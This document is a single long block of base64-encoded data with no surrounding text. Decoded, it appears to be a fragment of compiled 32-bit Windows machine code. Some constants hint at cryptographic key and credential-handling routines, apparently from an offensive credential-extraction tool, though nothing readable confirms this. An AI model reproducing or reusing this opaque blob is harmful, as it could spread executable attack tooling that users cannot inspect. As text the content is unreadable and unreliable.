YzwOiP7v//aMT2AhDocb///4PEDI1EJAxQjUQkFFCLg4AAAABqFFbozqD//4PEEIXAdAdoNJUDEOsnjUQkDFCNRCQUUIuDgAAAAGoUg8YUVuiloP//g8QQhcB0EGhUlQMQ6By///9Z6cYBAABocJUDEOnkAQAAaBiWAxDoAr///wN0JCxZV1YzwOgI7v//aMT2AhDo6r7//4PEDI1EJAxQjUQkFFCLg4AAAABXVuhIoP//g8QQhcB0s+l0AQAAg3wkFAAPhJcBAABqAI1EJDxQaFyWAxBX/3UI6Cfw//+LfCRMg8QUhcAPhJkAAAAz9rhQkwMQOXQkPHUFuHCWAxBQV2iAlgMQ6He+//+DxAyNRCQMUI1EJBRQ/3QkRP90JCBX/7OAAAAA/3Nc6Hae//+DxByFwHRDi4OIAAAAO8Z0BYPABOsCM8BXVlZQ/3QkJOhDDQAAi0QkLIPEFFb/dCQQ99j/dCQYG8CNTCRkI8FQ6MYIAACDxBDrD2jYlgMQ6P+9//9Z6wIz9jl0JBwPhM4AAABoeJcDEOjmvf//i3QkRFlW/3QkIDPA6Ons//9ZWYP+EHUHaKyXAxDrEYP+FHUHaMiXAxDrBWjklwMQ6LG9//9ZjUQkDFCNRCQUUP90JBxW/3QkLP+zgAAAAOipnv//g8QYhcB0XouDiAAAAIXAdAWDwATrAjPAjU7s99kbyYPuEPfRI0wkHPfeG/ZXUffWI3QkJFZQ/3QkJOhoDAAAg8QUi0QkGGoA/3QkEPfY/3QkGBvAjUwkZCPBUOjqBwAAg8QQ6wto8JcDEOgjvf//WYuDjAAAAIXAD4REAQAAi0t4C0t8D4Q4AQAAg8AMUOhjDQAAi/BZhfZ0Z2iQmAMQ6O68//9Z6BUOAACNRCQgUI1EJBBQjUQkGFD/dhyLg4wAAAD/diDoX6D//4PEFIXAdCX/dCQgi0QkHP90JBD32P90JBgbwI1MJGQjwVDoWQcAAIPEEOsLaNiYAxDokrz//1lqAI1EJEhQaGyZAxD/dQz/dQjo/e3//4PEFIXAD4SfAAAAaHiZAxDoZbz//1n/dCREjXQkSI1cJFDo3KX//4tcJChZhcB0eot0JEyNRCQgUI1EJBBQjUQkGFD/dhSLg4wAAACNfhhX6Lyf//+DxBSFwHQ8i4OMAAAAagH/dhSDwAxX6JkMAACLRCQkg8QM/3QkIPfY/3QkEBvA/3QkGI1MJGQjwVDonwYAAIPEEOsLaNiYAxDo2Lv//1lW/xX80gIQM/Y5dCQUdAr/dCQU/xX80gIQOXQkHHQK/3QkHP8V/NICEDl0JCh0Cv90JCj/FfzSAhCL++iRkf///3QkSP8V/NICEOsLaMCZAxDogbv//1lfXjPAW4vlXcNVi+yD7HBTVlcz/1eNRfBQaMiQAxD/dQyJffD/dQiJfeSJfeCJffSJffyJfeyJffiJfejowuz//4PEFIXAD4S0AgAA/3XwjXXwjV3c6K+k//9ZhcAPhKgCAAD/dfD/ddzonZL//4vwWVk79w+EewIAAIv+6BGU//8z21ONReRQaGSTAxD/dQz/dQjoa+z//4PEFIXAdCyNRexQ/3Xk/xWo0AIQhcB0CItF7IlF+OsT/xX40gIQUGhQmgMQ6Le6//9ZWVONRfRQaFyWAxD/dQz/dQjoI+z//4PEFIXAdDCLRfSNUAJmiwiDwAJmO8t19SvCahTR+I1NuFEDwFD/dfRoBIAAAOjHe///g8QU6yxTjUXgUGjMmgMQ/3UM/3UI6Nfr//+DxBSFwHQTjUW4UItF4GoUX+ih6P//WYlF6I1GBIlF8Dld+HUZOV4cdAuLRhiLAItARIlF+Dld+A+EdQEAADteHA+DbAEAAI1F/FD/dfj/FbjQAhCFwA+EPAEAAP918GoA6AoHAACL+FlZhf91EVD/dfzo+QYAAIv4WVmF/3Rf9kcIAnRZU2jYmgMQ6MS5//+Lx+hUCQAAjUWkUI1FzFCNR1hQi0YYiwSY6LCf//+DxBSFwA+E1gAAAP918IvP6DoHAACNRaRQjUXMUItGGIs8mOjoBAAAg8QM6bEAAACDfegAD4SnAAAAU2ggmwMQ6GG5//+NRbhqFFAzwOho6P//aMT2AhDoSrn//4tF/IPEFI1IAmaLEIPAAmaF0nX1K8FqFNH4jU2QUY1EAAJQ/3X8jUW4ahRQuASAAADoXH3//4PEGIXAdEiNRaRQjUXMUI1FkFCLRhiLBJjoAJ///4PEDIXAdCr/dfSNRbhQagD/dfD/dfzo8AcAAI1FpFCNRcxQi0YYizyY6DIEAACDxBz/dfz/FfzSAhCLRhiLBJiNSASLQERDiU3wiUX4hcAPhYv+//+DfewAdAn/dez/FfzSAhCL/uhbkf///3Xc/xX80gIQ6wtoaJsDEOh2uP//WV9eM8BbycNVi+yD5PiD7DRTVlcz/1dXaPSbAxD/dRiJfCQ0/3UUiXwkMMdEJEQQAAAAx0QkSAsAAACJfCRMx0QkUNyRAxCJfCQkiXwkKIl8JCyJfCQ06J3p//+DxBRXiUQkLI1EJDBQaOCOAxD/dRj/dRTogOn//4PEFIXAdBL/dCQsjXQkHI1cJBTopOb//1lXjUQkIFBoXJYDEP91GP91FOhR6f//g8QUV41EJDBQaBSSAxD/dRj/dRToOOn//4PEFIXAdBL/dCQsjXQkJI1cJBjoXOb//1lXV2g0kgMQ/3UY/3UU6A3p//+DxBT/dQj32BvbjUQkNCPY6DuG//9ZiUQkLDvHD4T3AQAAg8AYUOhsAwAAi/BZO/d1Fjl8JBB0Bjl8JBh1Cjl8JCgPhMgBAAA5fSx0D/91LGiYAAMQ6DC3//9ZWTv3dBJoCJwDEOggt///WYvG6OoDAAA5fCQQdCdoMJwDEOgIt///Wf90JBgzwP90JBToDOb//2jE9gIQ6O62//+DxAw733QgaFicAxDo3bb//1n/cwTohJ7//8cEJMT2AhDoyLb//1k5fCQUdCdogJwDEOi3tv//Wf90JCAzwP90JBjou+X//2jE9gIQ6J22//+DxAw5fCQcdBD/dCQcaKicAxDohrb//1lZO/d0UotVHDvXdAeLRSA7x3UEi0QkIDvXdAU5fSB1BItUJBT/dCQci00MahSDxhhW/3Uo/3UkV1f/dRCL+ItFCOh0lf//g8QgiUQkJIXAD4WpAAAAM/85fCQQdAY5fCQYdQo5fCQoD4STAAAAOX0cdAeLdSA793UEi3QkIItVHDvXdAU5fSB1BItUJBT/dCQci00M/3QkHDPA/3QkGDvf/3UoD5TA/3Uki/5Qi0UIU/91EOgClf//g8QgiUQkJIXAdCGDfCQQAHQ0i1wkGIXbdCyLRCQs/3QkEIPAGOjbAQAA6xmDfCQQAHUT/xX40gIQUGjYnAMQ6Im1//9ZWTP/aMT2AhDoe7X//1mLdCQs6A6F//+LNfzSAhA5fCQUdAb/dCQU/9Y5fCQQdAb/dCQQ/9aLRCQkX15bi+Vdw1WL7IPsFFNWV2honQMQ6DW1////dRAzwP91DOg85P//vsT2AhBW6B21//9qFFtTjUXsUP91EP91DGgEgAAA6F52//+DxCSFwHQyaHydAxDo9LT//41F7FNQM8Do/OP//1bo4rT//4PEEIN9CAB0DY1F7FCLRQjoBQEAAFn/dQyLPfzSAhD/14N9FAB0IGiQnQMQ6LG0////dRToM+X//1boo7T//4PEDP91FP/XX15bycNVi+xRU1ZopJ0DEOiGtP///3dE6Ajl//9orJ0DEOh0tP//jV8EU+jC5P//vsT2AhBW6GC0//9ouJ0DEOhWtP//ahD/dQgzwOhe4///VuhEtP//aNCdAxDoOrT//2oU/3UMM8DoQuP//1boKLT//4PENI1F/FD/d0T/FbjQAhCFwHQdagD/dQz/dQhT/3X86BgDAACDxBT/dfz/FfzSAhBeW8nDodD2BBBTVle60PYEEOsSi3QkEGoEWY14CDPb86d0CIsAO8J16jPAX15bw1WL7IPsFFZXi/Az/zv3dHk5fQh0dDvfdHBW6Lb///9ZhcB1cIP7FHQXahSNRexQU/91CGgEgAAA6OR0//+DxBRqLGpA/xUA0wIQhcB0Ro14CKWlpaWLdQiD+xR0A4117GoFjXgYWfOliw3U9gQQiUgExwDQ9gQQiw3U9gQQM/+JAaPU9gQQR+sLaOidAxDoNbP//1mLx19eycNWi/CF9nRBaGCeAxDoHbP//41GCFDoa+P//2hsngMQ6Aqz//9ocJ4DEOgAs///ahSDxhhWM8DoB+L//2jE9gIQ6Omy//+DxBxew1OLHdj2BBBVVle92PYEEOtxg3wkFAB0F/9zHP90JBjoHR8BAFlZhcB1BTPSQusCM9KLdCQYhfZ0GPdDCAAAAIB0D2oEWY17DDPA86d1A0DrAjPAM8k5TCQUdBs5TCQYdAQ70esVO9F0F/dDCAAAAIB1DovD6xI5TCQYdAQ7wXXyixs73XWLM8BfXl1bwzPAO8h0QDlEJAR0OotRCIXSeDNWUIvCJAIPtsD32BvAgOIBD7bSjXFEI8ZQ99qNQSAb0iPQUv90JBT/cRzoKgEAAIPEFF7DVYvsUVFWi/CLQxxXjUgCZosQg8ACZoXSdfUrwdH4A8CJRfiLQwi5AAAAgIXBdRCF9nQMjXsMpaWlC8GliUMIi30Qhf90GYvHjVACZosIg8ACZoXJdfUrwtH4A8CJRfz2QwgBdVGLdQiF9g+FnwAAAIX/dEJqEI1DIFD/dfxXaAKAAADo4XL//4PEFGoUjUMwUItF+IPAAlD/cxyNQyBqEFC4BIAAAOitdf//g8QYhcB0BINLCAH2QwgCdUyLdQyF9nVYOXUQdEBqFI1DRFD/dfz/dRBoBIAAAOiLcv//g8QUahSNQ1hQi0X4g8ACUP9zHI1DRGoUULgEgAAA6Fd1//+DxBiDSwgCM8BfQF7Jw417IKWlpaXpcP///2oFjXtEWfOl67xVi+xTVjP2OXUIdGX/dQz/dQjo8P3//4vYWVk73nU6aJAAAABqQP8VANMCEIvYO950Sv91COjTJgEAiUMcodz2BBCJQwTHA9j2BBCh3PYEEIkYWYkd3PYEEP91GItFDP91FP91EOhx/v//g8QMi/DrC2iIngMQ6HCw//9Zi8ZeW13DVovwhfYPhMAAAACLRhyFwHQNUGjongMQ6Eyw//9ZWVe/bJ4DEFfoPrD///dGCAAAAIBZdBVoYJ4DEOgqsP//jUYMUOh44P//WVlX6Bmw///2RggBWXQaaPieAxDoCLD//41GIGoQUDPA6A/f//+DxAxX6PKv///2RggCWXQaaASfAxDo4a///41GRGoUUDPA6Oje//+DxAxX6Muv///2RggEWV90GmgQnwMQ6Lmv//9qEIPGbFYzwOjA3v//g8QMaMT2AhDon6///1lew6Hg9gQQU1ZXuuD2BBDrEot0JBBqBFmNeAgz2/OndAiLADvCdeozwF9eW8NVi+xRU1ZXM/+L8Il9/Dv3dHk5fQh0dDl9DHRvVuiz////WYXAdW9qJGpA/xUA0wIQi9g733Rfi0UQjXsIpaWlpYt1DFZqQIlDGP8VANMCEIlDIIXAdBdW/3UIUOje0AEAg8QMiXMcx0X8AQAAAKHk9gQQiUMExwPg9gQQoeT2BBCJGIkd5PYEEOsLaCCfAxDo3K7//1mLRfxfXlvJw4X2dDJoYJ4DEOjFrv//jUYIUOgT3///g34YAFlZuIyfAxB1BbiUnwMQUGiknwMQ6J+u//9ZWcNTix380gIQVVaLNdj2BBC92PYEEFc79XQmi0YEiz6JOIsGi04EiUgEi0YchcB0B1DoxhcBAFlW/9OL9zv9ddqh0PYEEL/Q9gQQO8d0GItIBIswiTGLCItQBFCJUQT/04vGO/d16Is14PYEEL3g9gQQO/V0IotGBIs+iTiLBotOBIlIBItGIIXAdANQ/9NW/9OL9zv9dd5fXl0zwFvDVldouJ8DEOjzrf//izXY9gQQWb/Y9gQQ6wmLxuh1/f//izY793XzaAigAxDozq3//4s10PYEEFm/0PYEEOsJi8boi/r//4s2O/d182hQoAMQ6Kmt//+LNeD2BBBZv+D2BBDrB+jD/v//izY793X1XzPAXsNVi+xXM/85fQh0clb/dQjomSMBAIvwWYX2dGFqXFboXCMBAFlZhcB0TDPJalxWZokI6EkjAQBZWYXAdDmNTQhRg8ACUP8VqNACEIXAdCdT/3UI/xW40AIQi/iF/3QO/zNomKADEOghrf//WVn/dQj/FfzSAhBW6G8WAQBZXovHX13DVYvsg+wMU1ZXM/9XjUX8UGjIkAMQ/3UM/3UI6Gze//+DxBSFwA+EhQAAAP91/I11+I1d/OhZlv//WYXAdF6LXfyNcwxWV+gbf///aOCgAxCNRfRQjUX8UFdX/3UM/3UIV/9zBFboMfT//4PEMIXAdCL/dfzoJ2H//4vwWTv3dAroUWL//+gAYv///3X8/xX80gIQU/8V/NICEOsf/xX40gIQUGgQoQMQ6Fys//9Z6wpoiKEDEOhPrP//WV9eM8BbycNVi+yD5PiD7GRTVldqAI1EJDBQaHiQAxD/dQz/dQjop93//4PEFIXAD4RjAwAA/3QkLI10JDyNXCQw6JGV//9ZhcAPhDUDAAD/dCQs6LFn//+L+FmJfCQYhf8PhBEDAADoiGn//zP/V41EJCxQaASiAxD/dQz/dQjoTd3//4PEFIXAD4TgAgAA/3QkKI10JDyNXCQs6DeV//9ZhcAPhLMCAAD/dCQo6CJl//+L2FmJXCQcO98PhI8CAADolWX//4tDLGgUogMQjUwkQFGNTCQsUVdX/3UM/3UIV/9wIP9wJOj08v//g8QohcAPhCgCAACLTCQkjUQkUFCNRCRE6GRm//9ZhcAPhAMCAABoSKIDEOgyq///WY1EJEBqEFAzwOg32v//aMT2AhDoGav//4PEDGhoogMQ6Ayr//9ZjUQkUGogUDPA6BHa//9ofFMDEOjzqv//g8QMaAAAAPBqGFdXjUQkMFD/FQjRAhCFwA+EmwEAAItEJBiJfCQUOXg0D4Z/AQAAi0g4i1QkFIs0kTv3D4RcAQAA/zZoiKIDEOilqv//WVk5fhQPhDYBAACLRhCJRCQQO8cPhCcBAABQakD/FQDTAhCL2IlcJDg73w+EDAEAAP90JBD/dhRT6DXMAQCDxAyNRCQ0UI1EJDRQjUQkWFCNRCRMUP90JDCLxuijAQAAg8QUhcAPhMsAAACNRCQQUFNXagFX/3QkRP8VLNACEIXAD4ScAAAAOXwkNHQR/3QkEDPAU+gg2f//6ZYAAABoxPYCEOj9qf//izZZO/d0GIP+ZHQT/3QkELgBABAAU+j22P//WVnrUFPoZWn//4vwWTv3dEOL/ujgaf//M9s5Xgx0KDP/OV4EdhiLRgyNBLg5GHQI/zD/FfzSAhBHO34Ecuj/dgz/FfzSAhBW/xX80gIQi1wkODP/aMT2AhDohKn//+sS/xX40gIQUGiwogMQ6HGp//9ZWVP/FfzSAhCLXCQcaMT2AhDoWqn//4tEJBxZ/0QkFItMJBQ7SDQPgoH+//9X/3QkJP8VFNECEP90JCT/FfzSAhCLQxg7x3QHUP8V/NICEItzLDv3dBWLRiQ7x3QHUP8V/NICEFb/FfzSAhBT/xX80gIQ/3QkKP8V/NICEOsT/xX40gIQUGgYowMQ6OGo//9ZWYt0JBjoD2b///90JCz/FfzSAhDrH/8V+NICEFBooKMDEOi5qP//WesKaCikAxDorKj//1lfXjPAW4vlXcNVi+xRU4vYiwMzyUFWV4lN/IXAdAmD+GRzBIvB6wIzwItNGIkBhcB0DItNDLgOZgAAahDrCotNELgQZgAAaiCLdRRfagBWagBRUP91COhuav//i/iDxBiF/3QragCNRfxQagT/Nos1DNECEP/Wg3sYAHQTi1schdt0DItFFGoAU2oB/zD/1ovHX15bycNVi+yD7BhTVlcz/1eNRfBQaMiQAxD/dQz/dQjoeNn//4PEFIXAD4Q4AQAA/3XwjXXojV3w6GWR//9ZhcAPhA0BAAD/dfDoFJX//4sd/NICEIvwWTv3D4TtAAAA6MiV//9oqKQDEI1F+FCNRfxQahFo3KQDEP91DP91CFf/diT/djjoIe///4PEKIXAdB//dfgzwP91/OiP1v//aMT2AhDocaf//4PEDP91/P/TaPCkAxCNRfhQjUX8UFdX/3UM/3UIV/92GP92NOja7v//g8QohcB0b/91+DPA/3X86EjW//9oxPYCEOgqp///i0X8g8QMgThSU0EydQ+NTfRRjU3s6FmW//9Z6wIzwDvHdDCLRijoENX//4lF6DvHdBxqAVBoJKUDEFf/dez/dfToGj4AAIPEGP916P/T/3X0/9P/dfz/0+ielP///3Xw/9PrH/8V+NICEFBoMKUDEOi1pv//WesKaLClAxDoqKb//1lfXjPAW8nDVYvsg+wUU1ZqAI1F8FBoyJADEP91DP91COgF2P//g8QUhcAPhEYBAAD/dfCNdeyNXfDo8o///1mFwA+EGwEAAFf/dfDokJb//4s9/NICEIvwWYX2D4T5AAAA6FiX//9oUKYDEI1F+FCNRfxQahFokKYDEP91DP91CGoA/3YU/3Y46Kzt//+DxCiFwHQ4jUXsUI1F9FD/dfj/dfzoH5n//4PEEIXAdBn/dfSLXexqAOhnmv//U/919OgVmv//g8QQ/3X8/9do8KQDEI1F+FCNRfxQahFopKYDEP91DP91CGoA/3YY/3Y86Ebt//+DxCiFwHRb/3X4M8D/dfzotNT//2jE9gIQ6Jal//+LRgiDxAyDwAJQakD/FQDTAhCL2IXbdCf/dgj/dixT6EDHAQBqAVNoJKUDEGoB/3X4/3X86JM8AACDxCRT/9f/dfz/1+gflv///3Xw/9df6x//FfjSAhBQaLimAxDoNKX//1nrCmg4pwMQ6Cel//9ZXjPAW8nDaNgEBRD/FbDTAhCFwHgjaNAEBRBooPYEEP812AQFEP8VuNMCEDPJhcAPmcGJDdQEBRDD/zXYBAUQ/xW00wIQw1WL7IsN2AQFELgoABnAhcl0JYM91AQFEAB0HP91GP91FP91EP91DP91CP810AQFEFH/FajTAhBdw1WL7IPk+LhcAgIA6DXOAQCDZCQEAIN9CABTVlcPjlEBAACLdQy///8AAP82/xW40QIQg/j/D4QKAQAAqBAPhAIBAAD/Nv90JBRo/KkDEOhUpP///zaNhCR4AgAAV1DouCEBAIPEGIXAD4XxAAAAaDiqAxCNhCRsAgAAV1DoJSEBAIPEDIXAD4XTAAAAjUQkGFCNhCRsAgAAUP8VwNECEIvYg/v/D4S1AAAAg2QkFAD2RCQYEHVu/zaNhCRsAgAAV1DoVSEBAIPEDIXAdVdoSKoDEI2EJGwCAABXUOjGIAEAg8QMhcB1PY1EJERQjYQkbAIAAFdQ6KwgAQCDxAyFwHUjjUQkRFD/dCQYaEyqAxDok6P//42EJHQCAABQ6FsAAACDxBD/RCQUjUQkGFBT/xWw0QIQhcAPhXP///9T/xW00QIQ6xr/Nv90JBRoeKoDEOhSo////zboIAAAAIPEEP9EJBCLRCQQg8YEO0UID4y3/v//X14zwFuL5V3DVYvsUVFTVv91CI11+I1d/OifjP//WV5bhcB0Nlf/dfyLffjoPwAAAFlfhcB4DGigqgMQ6POi///rDFBoqKoDEOjmov//WVn/dfz/FfzSAhDJw/8V+NICEFBoKKsDEOjIov//WVnJw1WL7IPsEFNWjV8kU2pAx0X8oAAAwP8VANMCEIvwhfZ0YFf/dQiNRiRQxwYVAAAAiX4cx0YgJAAAAOhUxAEAjUX4UI1F9FCNRfBQU1bok/3//4PEIIlF/IXAeBKLRfiJRfyFwHkVUGioqwMQ6wZQaHisAxDoTKL//1lZVv8V/NICEItF/F5bycNVi+yD7CgzwFZmiUXkZolF5maJRexmiUXujUX8UI1F+FCNRfRQM/aNRdhqHFDHRdgGAAAAiXXciXXgiXXoiXXw6Bf9//+DxBQ7xnwbOXX8fAxoOK0DEOjhof//6xb/dfxokK0DEOsGUGhorgMQ6Mqh//9ZWTPAXsnDVY1sJJCB7JgAAABTM9tWVzPAamBmiUVMZolFTo1F4FNQx0VABAAAAIldRIldSIldUIldVIldWIldXIldYIldZIld3OgprQEAjUVsUI1F2FCNRWhQjUVAaihQM/bogvz//2gorwMQi/joVqH//4PEJDv7D4zpAAAAOV1sD4zBAAAAi0VoiwiJTdyLSASJTeiLSAiJTfSLSAyJTeCLSBCJTeSLSBSJTeyLSBiJTfCLSByJTfiLSCCJTfyLSDCJTSyLSCSJTTCJTSCLSCiJTSSLSCyJTSiLSECJTQiLSESJTQyLSEiJTRCLSEyJTRSLSFCJTRiLSFSJTRyLSGCJTTiLQGRqAY193IlFPOgEHwAAWTPAO0UkcxKLVSgzyTgcEA+UwQvxQDvzdOk783QLaHCvAxDojaD//1n/dWj/FazTAhDrLIF9bA4DCYB1DGgIsAMQ6G6g///rFv91bGgosAMQ6wZXaPiwAxDoV6D//1lZX14zwFuDxXDJw1WL7IPsJFYz9lZWaLCxAxD/dQzHRdwOAAAA/3UIiXXgiXXk6KbR//+JReiNRfRQjUXwUI1F/FCNRdxqDFDoKfv//4PEKDvGD4zoAQAAOXX0D4zVAQAAi0X8iXX4OXAED4a9AQAAU1cz/4tUB0CLwugIIAAAUFL/dfhowLEDEOjIn///aOyxAxDovp///4tF/I1EByhQ6N/P//+7ILIDEFPopp///4tF/I1EBzBQ6MfP//9T6JOf//+LRfyNRAc4UOi0z///i0X8A8eNSCBRg8AYUGgosgMQ6G+f//+LRfwDx41IEFGDwAhQaHCyAxDoWJ///4tF/IPEQP90B0RotLIDEOhEn///i0X8/3QHROiQHgAAg8QMOXXoD4ThAAAAi0X8D7dEBxqDwChQakCJRfD/FQDTAhCL2DveD4TAAAAAaghYiQOJQxiLRfyLRAdEiUMUi0X8i0wHGIlLDA+3Sw6NQyhRiUMQi038/3QPHFDopcABAI1F9FCNRfBQjUXsUP918FPo4vn//4PEIDvGfFw5dfR8TYtF/P91+I10BwjoowAAAIvwWYX2dCqLRez/cGD/cGRW6B6H//+DxAyFwHQNVmjssgMQ6H+e//9ZWVb/FfzSAhD/dez/FazTAhAz9usX/3X0aCizAxDrBlBoCLQDEOhUnv//WVlT/xX80gIQaMT2AhDoQZ7///9F+ItF/FmLTfiDx0A7SAQPgkn+//9fW1D/FazTAhDrF/919GjQtAMQ6wZQaKi1AxDoC57//1lZM8BeycNXaAAgAABqQP8VANMCEIv4hf90PmjgsgMQjUYYUI1GEFBW/3Y8/3QkHGhstgMQaAAQAABX6LYYAQCDxCSFwH4Ji9fo2of//+sJV/8V/NICEIv4i8dfw8xVi+yD5PiB7JQAAABTVot1DFcz22oHWYicJIAAAAAzwI28JIEAAADzq1Nmq1NooKkDEKqLfQhWV4lcJCjHRCRg9AEAAImcJIgAAACJXCRYiVwkUIlcJCSJXCRMiVwkPOjMzv//g8QUaJy2AxCJRCR0jUQkbFBotLYDEFZX6K/O//+DxBRTjUQkNFBoxLYDEFZX6JrO//+DxBSFwHUpU41EJDRQaNynAxBWV+iBzv//g8QUhcB1EGjAvgMQ6O2c//9Z6W0HAABTjUQkTFBo0LYDEFZX6FjO//+DxBSFwA+EDgcAAFONRCR8UGhkkwMQVlfoO87//4PEFIXAD4TqBgAAjUQkbFD/dCR8/xWo0AIQhcAPhL8GAABTjUQkFFBo4LYDEFZX6AfO//+DxBSFwHQNx0QkIAMAAADpgAAAAFONRCQUUGjotgMQVlfo4c3//4PEFIXAdV9TjUQkFFBo2KkDEFZX6MjN//+DxBSFwHVGU41EJBRQaPC2AxBWV+ivzf//g8QUhcB0CsdEJCARAAAA6ytTjUQkFFBoALcDEFZX6IzN//+DxBSFwHQSx0QkIBIAAADrCMdEJCAXAAAAOVwkEA+E+AUAAFONRCRIUGjopwMQVlfoV83//4PEFFONRCRAUGgQtwMQVlfoQs3//4PEFFONRCQcUGggtwMQVlfoLc3//4PEFIXAdBJTU/90JCDofRgBAIPEDIlEJExTjUQkHFBoKLcDEFZX6ALN//+DxBSFwHQSU1P/dCQg6FIYAQCDxAyJRCR0U41EJBxQaDS3AxBWV+jXzP//g8QUhcAPhJwAAACLfCQYiVwkHDv7D4SmAAAAZjkfdCdTU1foERgBAIPEDIXAdAT/RCQcaixX6JARAQCL+FlZO/t0BEdHddSLRCQcO8N0csHgA1BqQP8VANMCEIlEJDg7w3REi3wkGDP2ZjkfdDk7dCQcczNTU1fovRcBAIPEDDvDdBCLTCQ4x0TxBAcAAACJBPFGaixX6DARAQCL+FlZO/t0BEdHdcI5XCQcdBGLRCQ4O8N0CYt1DIlEJCzrE4t1DMdEJCyo9gQQx0QkHAUAAABTjUQkKFBoRLcDEFb/dQjo8sv//4PEFIXAD4QDAQAA/3QkJOh9EAEAi/hZiXwkGDv7D4TrAAAAiVwkFGY5H3Q+aixX6LIQAQCL8FlZO/N0BTPAZokGjUQkfFBX/xWo0AIQhcB0Dv90JHz/RCQY/xX80gIQO/N0B41+Ajv7db3/dCQY6FsDAQCLRCQYWTvDD4SOAAAAweADUGpA/xUA0wIQi/CJdCQoO/N0eP90JCTo8g8BAIv4WYl8JBg7+3RkiVwkJIl0JDRmOR90TYtEJCQ7RCQUc0NqLFfoHRABAIvwWVk783QFM8BmiQb/dCQ0V/8VqNACEIXAdBSLRCQ0/0QkJINEJDQIx0AEBwAAADvzdAeNfgI7+3Wu/3QkGOjBAgEAWY1EJEBQ/3QkJP8V0NMCEDvDD4xIAwAAjYQkgAAAAFCLRCREi3gMi0QkFOiVx///WYXAD4QCAwAAaFC3AxCNRCQUUGhUtwMQ/3UM/3UI6JLK//+DxBSNRCRQUP8VvNECEFNT/3QkGOjBFQEAg8QMav+ZaAC6PNxSUOiS1wEAU2iAlpgA/3QkXIvw/3QkXIv66JvtAQCLTCRQA/CLRCRUE/orzhvHaGy3AxCJRCRYiUQkYIlEJGiNRCQUUGh4twMQ/3UMiUwkYP91CIlMJGyJTCR06A7K//+DxBRTU/90JBjoYhUBAL4ARsMji8734YPEDP90JBABRCRcjUQkFFARVCRkaIS3AxD/dQz/dQjo08n//4PEFFNT/3QkGOgnFQEA9+aDxAz/dCRMAUQkZP90JHz/dCRQEVQkcP90JDxomLcDEOgbmP//g8QUaBS4AxDoDpj//zP2WTlcJBx2GotEJCz/NPBoMLgDEOj0l///RllZO3QkHHLmvyCyAxA5XCQUdC5oOLgDEOjWl///M/ZZOVwkFHYbi0QkKP808OhLyP//WVfoupf//0ZZO3QkFHLlaFS4AxDoqJf//4tEJERZ/3AMjYQkhAAAAFAzwOilxv//i0QkKOi5FwAAUGhwuAMQ6H2X//+DxBA5XCREdBD/dCREaIC4AxDoZpf//1lZOVwkPHQQ/3QkPGiguAMQ6FCX//9ZWWjAuAMQ6ESX//9ZjUQkUFDoZ8f//1lX6DKX//9ZjUQkWFDoVcf//1lX6CCX//9ZjUQkYFDoQ8f//8cEJMT2AhDoCZf//1m43LgDEDlcJHB1BItEJGhQaAi5AxDo7pb///90JHyLRCRM/3QkIItMJFT/dCQ4/3QkMP90JET/dCRo/3QkQP9wDI2EJKgAAABQ/7QkmAAAAI2EJIAAAAD/dCRs/3QkfP90JGjowQEAAIvwg8Q8O/N0aehiSP//OVwkcHQkVov46MDz//9ZhcB4SP90JEj/dCQ0aDC5AxDobZb//4PEDOsxUFb/dCRw6Op+//+DxAyFwHQMaMS5AxDoTJb//+sS/xX40gIQUGgIugMQ6DmW//9ZWVb/FfzSAhDrS2iIugMQ6z6LRCRAi1AMi0QkIOhIFgAAUFKNBBJQaOi6AxDoB5b//4PEEOsfUP90JCRokLsDEOjzlf//g8QM6wtogLwDEOjklf//Wf90JGz/FfzSAhDrJv8V+NICEFBoOL0DEOjGlf//WesRaOC9AxDrBWhQvgMQ6LKV//9ZOVwkOHQK/3QkLP8V/NICEIt0JCg783QfOVwkFHQZdhD/NN7/FfzSAhBDO1wkFHLwVv8V/NICEF9eM8Bbi+Vdw1WL7IPsDI1F/FD/dQj/FdDTAhCJRfiFwHhzjUX0UItF/GoC/3UQ/3UM/1AgiUX4hcB4WleLffyJHotPBDPSi8P38YXSdAYrygPLiQ6LRxABBv82akD/FQDTAhCLfRiJB4XAdB5WUItF/FP/dRT/dfT/UCSJRfiFwHkI/zf/FfzSAhCNRfRQi0X8/1AsX4tF+MnDVYvsgexQAQAAU1ZXM/9qYIvwjUWQV1CL2Yl9+Il9jOhpoAEAg8QMaNQAAACNhbj+//9XUOhUoAEAiz0A0wIQg8QMagxqQP/XiUWkhcB0IP91CDPJQWaJSAKLTaQzwEBmiQGLRaSDwARQ/xUc1AIQahRqQP/XiUWMhcB0QGoCWWaJSAJRi02MWGaJAYvDhdt1BbjYqQMQUItFjIPABFD/FRzUAhCLRRCFwHUDi0UMUItFjIPADFD/FRzUAhD/dQyNRZBQ/xUc1AIQi0WQi02U99sb24HjAADA/4HDAABAAIlFqIlFnItFOIHLAACgQIlNrIlNoIld3IXAdAvB4BCDyAGJReTrB8dF5AIAAACLRRyLXSBQakCJXdCJXeCJRdT/14lF2IXAdAr/ddRQ/xXM0wIQiwaJRbiLRgSJRbyLBomFtP7//4tGBImFuP7//4tGCIlFwItGDIlFxItGEIlFyItGFIlFzLj///9/iYXA/v//iYXI/v//iYXQ/v//iYXY/v//iYXg/v//i0Wog8n/iYVE////i0WsiYVI////i0WkiY28/v//iY3E/v//iY3M/v//iY3U/v//iY3c/v//i0gEi0AIiYXo/v//i0UUiYVM////i0UkiYUY////i0UoiY3k/v//iwiJjRz///+LTSyJhST///+LRTSJjSD///+LTTDHhVj///8QAgAAiYV4////iY18////hcB0C4XJdAeDjSj///8gg+sDdBiD6w50Dkt0B752////6w5qEOsCag9e6wW+e////41FOFCNRRRQi86NhbT+///onAgAAIs9/NICEFlZhcAPhL8AAABoLL8DEOhmkv//i10UWf91HP91GFb/dTjoNgoAAIPEEIXAD4iSAAAAaFC/AxDoPpL//1n/dTiNRYxTUOg3GAAAi/CDxAyJdTiF9nRuaHC/AxDoGpL//1mNRexQi8bo3kP//1b/dRyNdej/dRiL2P91IOiJ/P//g8QUhcB4K2iovwMQ6OmR//9ZjUWMagBQ6BMVAABZWYlF+IXAdBlo4L8DEOjKkf//6wxQaBDAAxDovZH//1lZ/3U4/9f/dRT/1zP2OXXsdAX/dez/1zl12HQF/3XY/9c5daR0Bf91pP/XOXWMdAX/dYz/14tF+F9eW8nDVYvsUVaNRfxQ/3UI/xXQ0wIQi/CF9g+IgQAAAItF/Ff/cAxqQP8VANMCEIv4hf90a4M9FBgFEAaLRfxXcwj/dQz/UDDrDP91FP91EP91DP9QMIvwhfZ4MItFCOhQEQAAUGiUwAMQ6BSR//+LRfz/cAwzwFfoGsD//2jE9gIQ6PyQ//+DxBTrDVZoqMADEOjskP//WVlX/xX80gIQX4vGXsnDVYvsg+T4